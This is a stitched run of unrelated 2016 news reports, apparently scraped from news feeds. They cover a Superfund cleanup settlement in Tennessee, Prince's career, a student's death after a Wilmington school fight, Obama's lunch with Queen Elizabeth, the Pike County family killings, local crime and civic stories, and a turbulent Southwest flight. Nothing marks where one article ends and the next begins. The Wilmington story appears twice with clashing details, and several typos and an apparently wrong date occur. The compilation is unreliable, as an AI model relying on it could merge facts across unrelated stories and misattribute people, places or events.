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The Department of Justice and the U.S. Environmental Protection Agency on Friday announced that OXY USA Inc., a subsidiary of Occidental Petroleum Company, has agreed to clean up contaminated water and sediments in the Ocoee River and one of its watersheds at the Copper Basin Mining District Superfund Site in Polk County. The settlement requires the company to spend an estimated $40 million to maintain and operate a water treatment system, prevent access by the public to contaminated water, and monitor contamination in the Ocoee River.

In addition, OXY USA Inc. will reimburse EPA approximately $10.8 million toward costs incurred in its past cleanup actions at the site. The company will also reimburse EPA and the State of Tennessee for costs incurred by those agencies in overseeing the work required by the settlement

This settlement is the product of excellent cooperation between private parties, and the state and federal government to find a long term solution to cleaning up the contamination at the Copper Basin site, said Assistant Attorney General John Cruden of the Justice Departments Environment and Natural Resources Division. This agreement will yield lasting benefits for water quality in this Ocoee River watershed.

This settlement marks a significant turning point in the remediation and restoration of an area that has borne the brunt of contamination from industrialized operations for over a century, said EPA Southeast Regional Administrator Heather McTeer Toney. The provisions incorporated by these consent decrees exemplifies the hard work by multiple federal agencies, the state of Tennessee, Tennessee Valley Authority, and OXY USA to ensure the remediation and recovery of the Ocoee River and the North Potato Creek and Davis Mill Creek Watersheds continues well into the future.

The settlement formalizes the cooperation and commitments exhibited between the company and regulators over the past two decades, said Tennessee Department of Environment and Conservation Commissioner Bob Martineau. This major project follows a shared goal of compliance, and achievement of long-term water quality performance in the Copper Basin that benefits our natural resources and the citizens of Tennessee.

Pursuant to earlier agreements with EPA and the State of Tennessee, OXY constructed and installed a system to collect and treat contaminated water and sediments from the Davis Mill Creek watershed prior to discharge in the Ocoee River. Under the settlement lodged on Friday, OXY will continue to operate and maintain the system, including any necessary refurbishments of the plant. In addition, the Tennessee Valley Authority agreed to implement measures at its dams along a 38-mile stretch of the Ocoee River in order to prevent contaminants from becoming airborne. EPA will oversee the work, which will implement the cleanup remedy required by the agencys 2011 and 2014 Records of Decision for the Ocoee River and the Davis Mill Creek watershed respectively.

From the mid-1800s until 1989, the Copper Basin Mining District Superfund Site was the location of extensive copper, iron, and sulfur mining operations, mineral processing, and sulfuric acid production. Throughout that time, wastes generated through those operations, which included sulfuric acid, lead, mercury, PCBs, and other contaminants, were disposed of in, on, and around Davis Mill Creek and North Potato Creek, both of which discharge to the Ocoee River. These contaminants can still be found in the sediments and surface water at the Site.

EPA, the Tennessee Department of Environment and Conservation, and OXY began response work at the Copper Basin Mining District Superfund Site in 1990. Over the last 25 years, EPA has overseen extensive work at the Site, including the construction of two water treatment plants (WTP). The first WTP went on-line in 2002 and the second one in 2005. To-date, 535,231 kilograms of hazardous waste, oil, equipment and soil contaminated with lead and polychlorinated biphenyls have been removed from the Site and properly disposed. The volume of water treated to-date is 8,266,257,000 gallons at the London Mill Wastewater Treatment Plant, 9,761,564,000 gallons at the Cantrell Flats Wastewater Treatment Plant, and 49,362,271,000 gallons at the North Potato Creek Water Treatment Plant, totaling 67,390,092,000 gallons.

Also under the Consent Decree, the United States, on behalf of the Department of Defense and the Department of Commerce, agreed to pay Oxy approximately $12.6 million to settle claims for OXYs past and future cleanup costs, based primarily on the United States ownership and operation of a portion of the site between 1941 and 1946.

Taking into account the settlement being lodged today and the work previously performed at the Site, over $217 million is being devoted to cleaning up the contamination at this Site.
Prince's career was one of the most enduring in pop, rock, R&B or any of the other genres his music spanned, with hit singles and albums from the late 1970s up into the 2010s.

His crowning achievement was "Purple Rain," a beloved 1984 album that went platinum 13 times over, as well as a movie that turned the unconventional, multitalented performer into an international phenomenon. Its biggest single, "When Doves Cry," spent five weeks on top of the Billboard Hot 100 charts.

See all his RIAA-certified platinum albums and Top 40 singles as collected by Billboard.

(Explore the graphic by mousing over or tapping the songs.)

Prince's career was punctuated by a period where he wasn't Prince at all. Instead, he went by the symbol above, which he invented and said was unpronouncable; it was referred to as love symbol, symbol or glyph, but many people simply referred to him as "the artist formerly known as Prince."

The 1993 change came amid a dispute over the frequency of his releases with Warner Brothers, according to reports. He returned to using the name Prince after he left the label, around the turn of the millennium.

In a 1999 interview with Larry King on CNN, Prince explained that he never came up with the phrase "the artist formerly known as."

"I had to search deep within my heart and spirit and I wanted to make a change and move to a new plateau in my life and one of the ways in which I did that was to change my name and sort of divorce me from the past and all of the hangups that go along with it," he said.

He said the problem came from the media not being able to pronounce the symbol, "so they had to come up with something I guess."
Big changes are in store for Philadelphia's annual July 4 celebration, Wawa Welcome America!, including Comcast NBCUniversal taking over as the event's new broadcast partner, event organizers announced.

NBC10, Telemundo62, Cozi TV and TeleXitos will be the regional broadcaster and events will also be live-streamed on the NBC10 and Telemundo62 websites, mobile apps and available via Xfinity On Demand on television.

The festival runs from June 27 through July 4.

Organizers also announced that Live Nation would have an expanded role in the musical production of the festival.

More than 500,000 people are expected at the eight-day event, which is the largest free festival in the country.

We are thrilled to be the presenting sponsor of Philadelphias iconic celebration of Americas independence, said David L. Cohen, senior executive vice president at Comcast Corporation. Through the combined assets of Comcast NBCUniversal, including multiple live broadcasts on NBC10 and Telemundo 62, plus extensive content available on Xfinity On Demand, Philadelphians across the region will be able to experience the festivities on television and online like never before. [[376803851, C]]

President and General Manager of NBC10 and Telemundo 62 Ric Harris also touted the diversity of Comcast NBCUniversal's local brands in expanding the potential audience for the massive celebration of America's founding.

NBC10 and Telemundo62 are proud to be part of this exciting new partnership between Wawa Welcome America and Comcast NBCUniversal," Harris said. "Our ability to reach and engage multicultural and multigenerational audiences will help make this event the most important celebration of our nations birthday.

Comcast is the parent company of NBC10.
The sophomore who died shortly after a confrontation inside a bathroom at her Wilmington, Delaware, high school has been identified as Amy Joyner-Francis, police said Friday.

Police have not said what caused the 16-year-olds death, but school and city officials said Thursday she died shortly after a "physical altercation" with two students at Howard High School of Technology.

Students who knew about the fight said they believe it stemmed from a dispute over a boy.

Police did say a school resource officer called EMS at 8:18 a.m. Thursday for a student complaining of head and chest pain, and that the call quickly escalated to a report of CPR in progress. Joyner-Francis died a short time later at a nearby hospital.

Students at the school, which is part of the New Castle County Vocational Technical School District, returned to class Friday. An autopsy was expected the same day.

Family Photo

"Several female students were involved in a physical altercation at approximately 8:15 a.m. this morning, in a main floor girls bathroom, just at the time classes began for the day," the school district said in a statement.

Shauntea Bellamy cried as he sat outside the school after learning of the student's death. He worked with her as part of youth outreach programs and said she was set to volunteer in a summer program he organizes.

"It hurts when you know her personally and she's not one of my students who are out there in the streets like that," he said.

Wilmington Mayor Dennis Williams said police were interviewing suspects Thursday evening, but didn't elaborate about whether arrests would be made.

Those closest to 16-year-old Amy Joyner-Francis gathered at a growing memorial in her memory outside her Wilmington, Delaware high school Friday night to mourn her death. NBC10s Drew Smith was there.

State agencies will help provide support for those affected by the tragedy, Gov. Jack Markell said in a statement.

Wilmington City Councilman Darius Brown is holding a town hall meeting for the community at 6 p.m. Monday, at Stubbs Elementary School. He said the governor, state attorney general and mayor will speak.

Students were surprised to hear about the girl's death, saying the school is not known for being a trouble spot. Records show there have been 14 reported fights there last school year. Williams called the fight an isolated incident.

Friends of the girl held a vigil in her memory outside the school Thursday night, and another vigil was expected at 6 p.m. Friday.

"A lot of families were destroyed today," Williams said.

Delaware police are still investigating the death of 16-year-old Amy Joyner-Francis, who died after a fight inside a Wilmington high school Thursday. NBC10s Deanna Durante has more on what led up to that fight and what the community is saying about the loss of Amy.
A 19-year-old woman was attacked early Wednesday in South Philadelphia and shoved to the ground before she was able to escape by macing her attacker, police said Thursday.

Officers in the neighborhood around the 1300 block of Wharton Street are going door-to-door Thursday asking for residents' help in finding the attacker, according to third district police.

Our community team is out notifying residents about attempted sexual assault that occurred on 4/20, 1300 Wharton St. pic.twitter.com/eoY4z6uA12  3rd Police District (@PPD03Dist) April 21, 2016

The assault occurred about 1:30 a.m. as the victim walked on Wharton Street, police said. The attacker came up from behind the woman and shoved her to the ground. He then pulled her dress down, police said. During the struggle, the victim escaped by using mace.

The attacker is described as a black male, about 37 years old, five feet seven inches tall, and 225 pounds, who wore a black hooded sweatshirt and black pants. He fled north on the 1200 block of South Clarion Street.

Anyone with information is asked to call the special victims unit at (215) 686-3251.
The Delaware State Police Homicide Unit is investigating a shooting that left one person dead in the Townsend area, early Friday morning.

Officials say state troopers were called to respond to the residence in the 500 block of Dogtown Road.

Witnesses tell police that two armed suspects had entered the home and confronted two male residents. Following a physical altercation, one of the male residents was shot and killed. Both suspects then fled from the home.

Currently, names of the victims are currently being withheld as Delaware State Police are conducting multiple interviews and collecting evidence.

Police are asking the public if they have any information in reference to the incident to contact Detective Mark Csapo at 302-698-8420.
A Philadelphia high school student was taken into police custody Friday morning in connection with making a threat on social media apparently as a joke, officials said.

Police responded to Central High School, at Ogontz and Olney avenues in the city's Logan neighborhood, just after 8 a.m.

School district spokesman Fernando Gallard confirmed that one student was taken into police custody for allegedly making a comment construed as a threat on social media. Gallard said he could not specify what the threat said, but later said that the student apparently made the threat as a joke.

Though it was a joke, Gallard said the school district is continuing to follow all procedures with police. It was unclear if any charges would be filed.
President Barack Obama plunged into a whirlwind of socializing Friday that began over a birthday lunch with Queen Elizabeth II and was ending at a dinner hosted by the trio of young royals who represent the future of the British monarchy.

Obama, accompanied by his wife, Michelle, arrived by helicopter on the verdant grounds of Windsor Castle, the sprawling, centuries-old royal residence and tourist lure located just west of London where the queen celebrated her 90th birthday a day earlier.

With a patterned scarf tied around her head in a light drizzle, the queen climbed from the dark blue Range Rover that her husband, Prince Philip, drove to the landing area, and Britain's oldest and longest-serving monarch welcomed her third American president to the castle.

The couples exchanged handshakes before climbing into the vehicle  ladies in the back seat  for the short ride to the castle.

"I've never been driven by a Duke of Edinburgh before, and I can say it was a smooth ride," Obama said at an afternoon news conference.

Inside, the queen led the group into a sitting room warmed by a fire and asked the president where he wanted to sit. Obama was also expected to have dinner with the queen's grandsons later Friday.

The queen donned a periwinkle blue suit for the private lunch while Mrs. Obama wore an Oscar de la Renta print dress topped with a dark purple Narciso Rodriguez coat. The Obamas brought a gift in a box wrapped in gold paper and embossed with the presidential seal: a photo diary of the queen's many visits with U.S. presidents and first ladies. The album opens with her 1951 visit when, as Princess Elizabeth, Duchess of Edinburgh, she toured George Washington's estate at Mount Vernon in Virginia and met President Harry Truman at the White House.

She has not visited Obama at the White House.

Obama was capping the evening with a trip to Kensington Palace, where he and the first lady were invited for dinner with Prince William, his wife, Kate, and his brother, Prince Harry. William is second in line to ascend to the throne after his father, Prince Charles.

The series of royal engagements made up the centerpiece of Obama's three-day, valedictory trip to London, which was filled with multiple helicopter lifts and his lengthy motorcade winding its way through the city's narrow and winding streets.

Obama broke up the royal holiday by stopping at 10 Downing St. for private talks with Prime Minister David Cameron about the Islamic State group, Afghanistan, Syria, Libya, the global economy, Russia's stance toward Ukraine, politics and other issues.

They also discussed Britain's possible exit from the European Union, or Brexit, which Obama opposes, as well as the U.S. presidential campaign that will determine Obama's successor.

At a news conference following the meeting, Obama and Cameron touted the close alliance between the U.S. and Britain as "one of the strongest and longest the world has ever known."

Obama said the UK leaving the EU would send them to the back of the trade agreement queue because the main priority to the U.S. economy is to secure an agreement with the larger bloc versus a single nation.

Cameron noted the EU-U.S. trade agreement currently being negotiated and considered the largest in the world, was an effort led by Britain. "We set the agenda for talks," he said.

Cameron is leading the campaign in favor of Britain's continued membership in the 28-nation EU and wants Obama to speak out against leaving.

"Let me be clear, ultimately this is something that British voters have two decide for themselves," Obama said when asked about criticism from some that he is intervening in British politics. "But, part of being friends is to be honest. And speaking honestly, the outcome effects our prospects as well. The UK is at its best when it's leading a strong Europe."

Voters will have the final say in a June 23 referendum. Cameron faces opposition from within his Conservative government and widespread skepticism among voters about the benefits of continuing in the EU. Backers of those who support Britain's exit have accused Obama of hypocrisy and meddling.

In an opinion piece published online Thursday by the Daily Telegraph newspaper, Obama urges Britons to stay in the EU. He noted the decision will affect U.S. interests and said EU membership will magnify British influence inside and outside of Europe.

Obama's criticism of Cameron in an interview published recently in The Atlantic magazine could also come up. Obama faulted Cameron and other European allies for shortcomings in the handling of Libya after the 2011 toppling of leader Moammar Gadhafi. Obama said Cameron had become "distracted" by other issues. Libya has since descended into chaos and become a haven for members of the Islamic State group.

Obama and his family have enjoyed a series of engagements with the British royal family since he took office in 2009, including his first meeting with the queen that year. After the appointment, Obama said she was "delightful" and reminiscent of his grandmother.

The queen also welcomed Obama on a state visit in 2011 that included an overnight at Buckingham Palace.

"Each time, the president has come away with an even deeper personal affection for her," said Obama spokesman Josh Earnest. "She is an important symbol of a country with whom the United States has a special relationship. But she also is a human being whose charisma and a sense of nobility and honor is something that I think people around the world are attracted to."

The 2009 meeting is also where the queen and the much-taller Mrs. Obama showed how quickly they took a liking to each other by briefly standing arm in arm at a palace reception for participants at an economic summit in London. The queen strayed from protocol by wrapping an arm around the first lady, who reciprocated.

A palace spokesman at the time described the scene at the ladies' first meeting as a "mutual and spontaneous display of affection."
Eight members of a family, including a mother sleeping in a bed with her 4-day-old baby next to her, were fatally shot in the head on Friday, leaving their rural town reeling while a manhunt was launched for whoever's responsible.

Three children, including the newborn, survived the grisly killings, which left seven adults and a teenage boy dead in four homes in Pike County, Attorney General Mike DeWine and Pike County Sheriff Charles Reader said. The economically distressed county in the Appalachian Mountain region has 28,000 residents and is 80 miles east of Cincinnati.

DeWine said there were no indications that any of the dead killed themselves, and Reader said if the shooter or shooters are at large, they should be considered armed and "extremely dangerous."

DeWine said, "There may be more than one, there may be three. We just don't know at this point."

Some of the victims were in bed, indicating they were shot while they were sleeping, authorities said. The victims were identified as members of the Rhoden family.

"It's heartbreaking," DeWine said. "The one mom was killed in her bed with the 4-day-old right there."

A motive isn't clear, authorities said, but they urged other members of the Rhoden family to take precautions, and Reader advised all residents to stay inside and lock their doors Friday night.

"This really is a question of public safety, and particularly for any of the Rhoden family," DeWine said.

The first three homes where bodies were found are within a couple miles of one another on a sparsely populated stretch of road, while the eighth body, that of a man, was found in a house farther away, the sheriff said.

The other surviving children were 6 months old and 3 years old, authorities said. Reader wouldn't say where they were taken Friday.

Authorities didn't release any information on whether there were multiple weapons used or whether anything was missing from the homes.

Area resident Goldie Hilderbran said she lives about a mile from where she has been told a shooting took place.

"I first heard about it this morning from our mail carrier," Hilderbran said.

Hilderbran said the mail carrier told her deputies had stopped her from delivering mail in the area they had blocked off.

"She just told me she knew something really bad has happened," Hilderbran said.

Gov. John Kasich, campaigning in Connecticut for his Republican presidential bid, said his office was monitoring the situation in Pike County and the search for the killer or killers.

"But we'll find them, we'll catch them and they'll be brought to justice," he said.

The FBI in Cincinnati also said it was closely monitoring the situation and has offered assistance to the Pike County sheriff's office if needed.

Peebles High School imposed a precautionary lockout Friday morning after authorities notified the superintendent of shootings that had occurred a few miles away, according to Regina Bennington, secretary to the superintendent for the Adams County Ohio Valley Schools district.

High school officials said the school was back to normal operations later Friday morning.

Piketon is the site of a Cold War-era uranium plant that was closed in 2001 and is still being cleaned up.

Associated Press writers Dan Sewell and Lisa Cornwell contributed to this report from Cincinnati.
In November 2015, the City Attorneys Office conducted an audit and found 98 criminal cases were mishandled.

Nineteen of the 98 cases had expired under the statute of limitations. The majority of those were domestic violence cases.

Because of what happened in the City Attorney's office, some people accused in those domestic violence cases will never be prosecuted.

The missed cases spread from 2012 through 2015.

In an internal memo sent to staff Wednesday, City Attorney Jan Goldsmith wrote that the City Attorney's office investigated to determine whether the suspects had any pending or new cases against them and said none did.

That's not much consolation for Carmel Valley Psychologist Sage Breslin, who works with victims of domestic violence.

She said she was "horrified" after hearing of the City Attorneys mishandling of the cases.

I am horrified because I am an advocate for these kind of victims, she told NBC 7 San Diego. To know how much courage and effort it takes for men and women to come forward when they have been victimized in their homes or in their relationship, to know they bet the farm on it and suddenly there is nothing else they can do? Now its never going to be prosecuted? Are you serious? So know they are out there more exposed than ever and they dont have the law on their side anymore, ready to scoop them up or make sure they are safe?

Breslin hopes this incident will help change the system.

I am hoping some sort of precedent can be made so that at least the rules and laws around these timeline be changed or amended in some way," she said. "So that they can at least be afforded the right to prosecute these cases.

She would encourage the victims in these cases to come forward.

I think its time to have a voice," she said. "I dont think its ok for these particular people to have entrusted the system with their lives and only to be told someone elses mistake has made it so they cant prosecute their cases.

Late Thursday afternoon, Jan Goldsmith released this statement to NBC7 Investigates:

When we found the files, we were able to save some cases shortly before the statute of limitations expired and those cases were filed. We could not save 19. Our office helps thousands of domestic violence victims each year, but we let these victims down. We contacted each one and offered to meet with them and provide help, including services. We want victims to know that we are there for them notwithstanding what happened in these cases, and we have taken every step possible to ensure it does not happen again.
Highways in California may look a little cleaner after today.

This is because a statewide highway cleanup effort, known as Dont Trash California Day, took place Thursday.

San Diego volunteers, who represented several east county Adopt-A-Highway groups, met with the supervisor of Caltrans Maintenance for San Diego county, Ray Aquiar, to spend the day removing litter and debris from local highways.

The cleanup group gathered near the eastbound Interstate 8 Fuerte Drive Park and Ride to spread the word about Thursdays significance before getting their hands dirty.

Litter is not only unsightly, it is a safety concern for highway workers who must remove it on our busy highways, for travelers, and for wildlife and the public when it pollutes our waterways, explained Aquair in a previously released statement.

This cleanup effort comes the day before Earth Day, which falls on April 22 every year.

To learn more about the Don't Trash movement, click here.
Logan Square's Mega Mall Will Be Demolished Mid-June

By Mae Rice in News on Apr 21, 2016 10:25PM



Photo credit: Rachelle Bowden

Development firm Terraco plans to demolish Logan Square's vacant Mega Mall building in mid-June, a spokesperson for Ald. Scott Waguespack (32nd) told Chicagoist after a Thursday afternoon meeting with Terraco represenatives. No demolition date has been set yet, but Paul Sajovec of Waguespack's office said that Terraco has promised to give the city three weeks' notice before proceeding.

When Terraco does demolish the structure, located at 2500 N. Milwaukee Ave., they'll do it "in a way where the walls will fall inward, towards the property," Sajovec said, to "minimize disruption" to the street.

Still, Waguespack's office wants time to prepare for the demolition. Chicago has a rat problem bordering on a rat crisis, and the vibrations caused by a building demolition and ensuing cleanup can lead to "an increase in visible rodent activity," Sajovec said. The alderman's office wants three weeks' lead time to arrange baiting throughout the Mega Mall area.

The Mega Mall is being demolished to make way for Terraco's Logan's Crossing, a two-building, 130,680-square-foot development. (When plans for the development were first introduced in 2014, it was just one building, but feedback from the community led the developers to split the project in two, Sajovec said.)

The southeast building, closer to Sacramento Ave., will have a grocery store and a fitness center, according to Sajovec. The building closer to Logan Square will have retail shops on the first floor, and apartments above that220 of them, all told, including 22 affordable units.

As far as the retail space goes, Terraco has "specific tenants in mind," Sajovec said, but they're still negotiating leases.

We've reached out to Terraco for comment, and will update this post if we hear from them.
A San Diego man will spend more than 20 years behind bars for the June 2015 stabbing attack on San Diego Fire-Rescue crews.

After the sentencing, one of his victims said he's forgiven his attacker and would even consider sharing a beer with him in the future.

Ryan Allen Jones was convicted of attempted voluntary manslaughter for his attack on two SDFD paramedics who were helping a man at a downtown trolley station. He was convicted of assault with a deadly weapon and another count of battery related to an assault of MTS officers in the same incident.

On Friday, Jones was sentenced to 23 years, 8 months behind bars.

Jones attacked Ben Vernon and Alex Wallbrett with a hunting knife at a medical aid call at the Park and Market trolley station on June 24, 2015.

Body camera footage was entered into evidence showing Vernon backing away with his hands up and Jones stepping in to stab him repeatedly.

The defense had argued firefighters acted outside the scope of their duties and engaged Jones instead of waiting for San Diego Police to arrive to the scene.

At the hearing Friday, Jones apologized to Vernon and Wallbrett.

I would like to deeply express my sorrow at the tragic circumstances that people were hurt, Jones said.

Wallbrett was not in court because he was training other firefighters. Vernon was at the hearing and told NBC 7 he appreciated the apology.

I accept the apology and absolutely forgiven, said Vernon. If in 24 years, I happen to run into him on the street Id be happy to share a beer. I really hope that doesnt happen but I hold no ill will toward him.

Judge Jeffrey Fraser said there was no question Jones was trying to help a friend but his temper got the best of him.
San Diego Port officials are defending the Convention Center from one of the provisions in the so-called "Citizens Plan" Initiative, which would pave the way for a stadium and convention annex in East Village.

Thursday, they issued a warning that the provision is pre-empted by state law.

As it's been explained to NBC 7, the Port's pre-emption could jeopardize the entire measure.

The Citizens Plans author is attorney Cory Briggs, who declined to be interviewed because he was in court trying a case against the waterfront expansion of the convention center.

Port Commissioners confirmed the Port District's authority to pre-empt any "local law" aimed at "District activities or expenditures".

The target: the city of San Diego -- Qnd by extension, your residents who might vote on the Citizens Plan Initiative.

The measure would pave the way for a stadium and convention center annex in East Village.

And bar any waterfront expansion -- on the Port's "tidelands" -- not approved by way of a ballot measure.

But experts tell me if one element is found unlawful, the initiative could be rendered null and void.

Commissioners had no comment after passing the ordinance.

Attorney Gil Cabrera, speaking for himself and not as a member of the Convention Center's board of directors, told NBC 7 that their silence is legally sound -- and that the ordinance frames a debate likely headed for court.

"At some level they're framing the debate, Cabrera said.  The debate is going to be whether the state law, as enacted by the Port, pre-empts whatever happens at the local level . "It's not one of those things that you can generally opine on in the abstract.

It's one of those things that you're going to want to see come to blows with the actual facts of what's happened."

One of Cory Briggs' allies behind the Citizens Plan, JMI Inc. executive Steve Peace, refused to go on camera with NBC 7.

But he sent a long email that read, in part:

Give them the air time. Make them talk. The only reason they survive is because they deflect public attention from themselves. We convinced Briggs to take a shot at resolving differences for the larger public benefit. To his credit he did that.

The initiative is really a comprehensive settlement offer. We will continue to encourage that because we believe it is the responsible thing to do. But, we can't force him to do so and, honestly, can't blame him for pulling the plug. He is not a politician, he is comfortable in court where there are rules and claims are subject to evidence and cross examination. Meantime, we have learned over the past year just how strong his cases are and how scurrilous the effort to smear him has been. As you know, the media has been the chief tool used in this effort. But, they have failed on every single claim in the courtroom. You can't blame him for simply sayin "guys, I tried. But, I have a legal responsibility to represent my clients. How do I ask them to compromise when we are winning in court and every overture to settle is met with Machiavellian nonsense that is all about ego and totally disconnected to actual self interest, let alone the public interest?"
A newborn was killed by the family dog while in the parents' bed Friday morning, San Diego Police confirmed.

The 3-day-old died following the attack in a home on Flanders Drive near Camino Ruiz in the Mira Mesa area.

Sgt. Tuu Nguyen, of the Child Abuse Unit San Diego Police Department, described the baby's death as a tragic accident. His unit was called as it is in any child death investigation.

The mother and father of the newborn were watching television in bed with the baby and the dog, Nguyen said.

When the mother suddenly coughed, "the dog made contact with the baby leading to traumatic injuries," Nguyen said.

The parents rushed the newborn to the hospital, but the baby did not survive.

Nguyen did not go into details regarding the injuries the baby suffered, saying the San Diego County Medical Examiner's office would determine the cause of death.

The dog is in the custody of the Department of Animal Services and under quarantine.

It was described as a 2-year-old American Staffordshire Terrier by agency Deputy Director Dan DeSousa.

DeSousa did not have details on the attack but told NBC 7 an animal is placed under quarantine any time it bites or breaks human skin.

He added that the family can direct them to euthanize the dog but they have not received that directive.

The location of the incident is near Mesa Verde neighborhood park and south of Mira Mesa High School.

Check back for updates on this developing story.
One of the largest autism studies ever conducted in the United States will have a helping hand in San Diego.

University of California San Diegos (UCSD) Autism Center of Excellence (ACE) will be one of 21 research institutions to contribute to the national study, which aims to collect information and DNA from 50,000 individuals between three and 100-years of age who have been diagnosed with autism.

The UCSD team will be responsible for finding 3,000 diagnosed participants and their families in the San Diego area as well as in and around Phoenix, Arizona.

To actually participate in the study takes less work than you would think.

All individuals must do is fill out an online form and return saliva samples to the scientists in a kit that will be mailed directly to them. Those that qualify to participate will receive a $50 gift card and access to online resources and research news in exchange for their participation.

The SPARK study, which stands for Simons Foundation Powering Autism Research for Knowledge, will be sponsored by Simons Foundation Autism Research Initiative.

Karen Pierce, PhD, an associate professor of neuroscience and co-director of ACE is one of the UCSD SPARK researchers.

One of the major challenges in autism genetics research is sample size, Pierce explained in a previous statement. Individual projects may fail to find genetic abnormalities, not because they arent there, but because the sample size is just too small.

The giant pull of DNA hopes to overcome this obstacle and pave the way for future studies.

To learn more about the study or enroll, call (858) 534-6906 or email e1bower@ucsd.edu.
A man who pleaded guilty to killing his ex-girlfriend in the parking lot of a Maryland Target asked the judge to withdraw the plea Thursday.

Donald Bricker Jr. twice confessed to shooting 24-year-old Marie Folasade Adebayo in Germantown in June and told the judge he was guilty in December.

A video of investigators interviewing him in his hospital room shortly after the homicide shows him confessing.

All I can remember is her getting out the passenger side door, and then I shot her and then I shot her again, he said.

Asked why he shot her, he said he didnt know.

He was supposed to be sentenced Thursday, but instead, he fired his attorney and asked to withdraw his plea.

He wants to hire a new attorney and that he didn't get all the information to enable him to make his best decision with regards to a plea, Montgomery County state's attorney spokesman Ramon Korionoff said.

If the judge decides to withdrawal the plea, the case will go to trial, prosecutors said.

Abedayos friends and family said they are praying that wont happen.

Bricker will return to court May 5. The judge then will decide if he will withdraw the guilty plea or proceed to sentencing.
Gloucester, Massachusetts, Police Chief Leonard Campanello will be honored by President Barack Obama next week in the White House, for launching the ANGEL Initiative, a program designed to fight drug addiction.

Campanello is one of 10 "Champions of Change", an honor that 920 people were nominated for.

The chief began the ANGEL initiative in the spring of 2005. Campanello then worked with businessman John Rosenthal to create the Police Assisted Additiction and Recovery Initiative (P.A.A.R.I.). Through his work, people seeking treatment for substance abuse can ask for help at the police station, without criminal penalty.

This initiative helped start parallel programs in roughly 100 police departments across 22 states.

"To have the President of the United States and the White House recognize Gloucester for taking a small role in combating addiction through de-stigmatization, awareness, humanity and treatment, is a testament to the City, Mayor Sefatia Romeo Theken, and our residents, whom I am so proud and humbled to serve..." said Chief Campanello.

The White House said, "Chief Campanello has worked to end the stigma of addiction by adding law enforcement's voice to those suffering with substance use disorders."

The ceremony will also showcase remarks by U.S. Surgeon General Vivek Murthy, White House Senior Advisor Valerie Jarrett, and Michael Botticelli, the Director of National Drug Control Policy.

The New England High Intensity Drug Trafficking Area nominated Chief Campanello as a "Champion of Change." The organization aids in coordinating federal, state and local law agencies in New England, focusing on area-specific drug threats. Although the NEHIDTA focuses on drug enforcement and the supply-side of drug addiction, the program recognizes demand as "a critical piece of the puzzle."

Since the program's initiation, the Gloucester Program has directly helped 425 people seek treatment.
On Friday, Police identified the victim as 16 year-old Amy Joyner-Francis

Students at a Wilmington, Delaware high school will return to school in mourning on Friday after a fight in a school bathroom left a 16-year-old student dead Thursday morning.

The teen, a sophomore from New Castle whose name has not been released, was involved in a fight with two fellow students Howard High School of Technology, which is part of the New Castle County Vocational Technical School District, about 8:15 a.m. that morning, school officials said. She suffered injuries serious enough that she had to be airlifted to a nearby hospital, where she later died with her parents by her side.

Students from the school have said that they believe the fight was over a boy.

"A lot of families were destroyed today," Wilmington Mayor Dennis Williams said.

City spokeswoman Alexandra Coppadge said there was a confrontation in the women's restroom at Howard High.

"Several female students were involved in a physical altercation at approximately 8:15 a.m. this morning, in a main floor girls bathroom, just at the time classes began for the day," the school district said in a statement hours after the attack.

Police said in a statement that officers were called to the high school around 8:20 a.m. Later Thursday afternoon, police said a school resource officer called EMS at 8:18 a.m. for a student with head and stomach pain, and within minutes, the call became a CPR in progress.

Police said the girl had been flown to A.I. DuPont Children's Hospital in critical condition.

An autopsy will be performed Friday and the investigation into the cause of death remains open.

Students who knew about the fight said it stemmed from a dispute over a boy.

Shauntea Bellamy cried as he sat outside the school after learning of the student's death. He worked with her as part of youth outreach programs and said she was set to volunteer in a summer program he organizes.

"It hurts when you know her personally and she's not one of my students who are out there in the streets like that," he said.

Williams said police were interviewing suspects Thursday evening, but didn't elaborate about whether arrests would be made.

State agencies will help provide support for those affected by the tragedy, Gov. Jack Markell said in a statement.

Students were surprised to hear about the girl's death saying the school is not known for being a trouble spot. Records show there have been 14 reported fights there last school year. Williams called the fight an isolated incident.

School was dismissed Thursday and officials had not determined yet whether classes would be held Friday, officials said.

Friends of the girl held a vigil in her memory outside the school Thursday night.

Friends of a high school sophomore who died suddenly after a fight inside a Wilmington, Delaware high school gathered outside the school Thursday night to mourn her death.

A mayoral debate on public safety scheduled to take place at the school Thursday night was canceled. Students will return to school on Friday.
Firefighters from more than 10 towns are battling a 4-alarm brush fire in Norfolk, Massachusetts.

Norfolk Fire confirms that they are on the scene of a brush fire on Birdie Lane. They said they have several engines at the scene, along with 10 other towns assisting.

Photos from the scene show firefighters dousing flames with water in close proximity to area homes.

The Westwood, Needham, Norwood, Foxborough, Franklin and Sharon fire departments all said they have firefighters providing mutual aid at the fire scene.
An Alderman Was Punched In The Face Outside His Office Last Night

By Mae Rice in News on Apr 22, 2016 6:19PM



Ald. Walter Burnett (photo via Facebook)

Chicago politics is a dangerous game, and it's been especially so lately. In March, a man running for Illinois House was staple-gunned in the forehead outside his office (though critics say it was all a media stunt). Then Thursday night, Ald. Walter Burnett (27th) was punched in the face outside his Near West Side office by a man he alleges was menacing him all day.

Burnett, 53, was clocked by a 30-year-old man outside his office (located at 4 N. Western Ave.) at 7 p.m. Thursday night, police said. An unnamed Burnett staffer told ABC7 that Burnett was on his way into the office for "Constituent Night." The alderman refused medical attention, police said, and his assailant was arrested shortly thereafter. Charges are pending.

After the attack, Burnett described it to the Sun-Times as part of an ongoing pattern of threatening behavior from his attacker. The man initially visited Burnett's office at 11:30 a.m. Thursday morning, and told Burnett staffers he planned to kill Burnett and Mayor Rahm Emanuel. He left the premises soon afterhopefully after being ejectedbut Burnett said he lurked around the office for the rest of the day.

Im a boxer, so I can take a punch, Burnett told the Sun-Times. He added that what "disturbed" him more about the incident was "that somebody would be motivated enough to do that to me.
Two flight attendants on a Southwest Airlines plane from Chicago to Boston were injured Thursday night when turbulence forced the flight to divert to Buffalo.

A Southwest spokeswoman said Flight 2386 from Chicago Midway International Airport to Boston Logan International Airport safely diverted to Buffalo Niagara International Airport after experiencing turbulence mid-flight. Upon landing, the flight crew was taken to a local hospital to be checked out.

The Federal Aviation Administration confirmed that the Boeing B737 aircraft landed safely in Buffalo around 9:30 p.m. Two flight attendants were injured, according to the FAA.

Passengers who were on the flight told necn that the plane dropped so sharply that some people "flew into the air,"some even hitting the ceiling of the aircraft.

"That was the worst like nose dive or drop I've ever experienced," said one passenger.

"I was scared," said another. "Terribly scared."

"We hit dead air and we just plummeted," Brian Sutherland, a passenger from Bellingham, Massachusetts, said. "There were screams from behind me, obviously just from the shock of it."

